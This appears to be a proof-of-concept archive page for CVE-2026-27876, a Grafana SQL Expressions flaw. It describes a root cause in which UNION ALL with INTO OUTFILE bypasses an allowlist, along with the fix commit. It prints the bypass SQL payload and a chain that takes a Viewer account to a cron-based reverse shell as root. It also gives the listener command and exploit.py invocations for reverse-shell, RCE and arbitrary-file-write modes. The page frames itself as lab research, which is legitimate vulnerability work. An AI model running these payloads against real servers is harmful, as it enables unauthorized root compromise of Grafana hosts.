PoC Archive PoC Archive
category: ()
Unverified

CVE-2026-27876: Grafana SQL Expressions Arbitrary File Write to RCE

Published: 0001-01-01

Target software
Affected versions
Status
Severity %!s(<nil>)
Severity
Info
Category
Affected product
Disclosed
0001-01-01
Patch status
Unverified
On this page

CVSS 9.1 Critical | Arbitrary File Write | Remote Code Execution

Demo

Summary

Grafana’s SQL Expressions feature (sqlExpressions toggle) uses an in-process SQL engine (dolthub/go-mysql-server) with a flawed AST allowlist. The SetOp node (UNION ALL) passes validation and its walkSubtree() does not traverse the Into child — allowing INTO OUTFILE to write arbitrary files to the server filesystem as the Grafana process user.

Any authenticated user (Viewer role or higher) can chain this to full RCE via cron-based reverse shell.

Affected Versions

RangeAffectedFixed
11.6.x11.6.0 – 11.6.1311.6.14
12.0.x – 12.1.x12.0.0 – 12.1.912.1.10
12.2.x12.2.0 – 12.2.712.2.8
12.3.x12.3.0 – 12.3.512.3.6
12.4.x12.4.0 – 12.4.112.4.2

Requires sqlExpressions feature toggle to be enabled.

Root Cause

Two compounding flaws in pkg/expr/sql/:

  1. parser_allow.go: allowedNode() uses a named return b = true. The *sqlparser.SetOp case returns true (allowed), and SetOp.walkSubtree() does NOT traverse the Into child node. This means UNION ALL ... INTO OUTFILE bypasses the allowlist entirely.

  2. db.go: The SQL engine context is created without WithDisableFileWrites(true), so INTO OUTFILE writes to disk.

Bypass Syntax

SQL
1
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'

A single (SELECT ...) INTO OUTFILE produces a ParenSelect node which IS blocked. Two or more SELECT parts joined with UNION ALL produce a SetOp node which bypasses the check.

Exploit Chain

Output
1. Authenticate (Viewer role sufficient)
2. POST /api/ds/query with __expr__ datasource, type "sql"
3. UNION ALL INTO OUTFILE writes reverse shell script to /tmp/
4. Second write places cron entry in /etc/crontabs/root
5. Cron fires within 60 seconds -> reverse shell as root

Usage

Lab Setup

Shell script
1
2
cd lab/
docker compose up -d

Grafana runs on http://localhost:3333 with credentials admin:admin.

Run Exploit

Terminal 1 — Listener:

Shell script
1
nc -lvnp 4444

Terminal 2 — Exploit:

Shell script
1
2
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444

Reverse shell lands within 60 seconds.

Other Modes

Shell script
1
2
3
4
5
6
7
python3 exploit.py -t http://TARGET:3000 --check

python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"

python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt

python3 exploit.py -t http://TARGET:3000 --rce

Cleanup

Shell script
1
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh

To re-run the exploit after a previous run, clean up first — INTO OUTFILE cannot overwrite existing files.

Fix

Commit 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):

  1. parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nil
  2. parser_allow.go: case *sqlparser.Into: return v == nil
  3. db.go: mysql.WithDisableFileWrites(true)

Files

Output
.
├── README.md
├── analysis.md              # Full root cause analysis
├── lab/
│   ├── docker-compose.yml   # Grafana 12.4.0 lab (confirmed)
│   ├── Dockerfile           # Custom image with cron support
│   ├── entrypoint.sh        # Starts crond + Grafana
│   └── setup.sh             # Auto-setup script
└── poc/
    ├── exploit.py           # Full PoC with RCE
    └── cvss-justification.md

References

Disclaimer

For authorized security research and controlled lab testing only. Do not use against systems without explicit permission.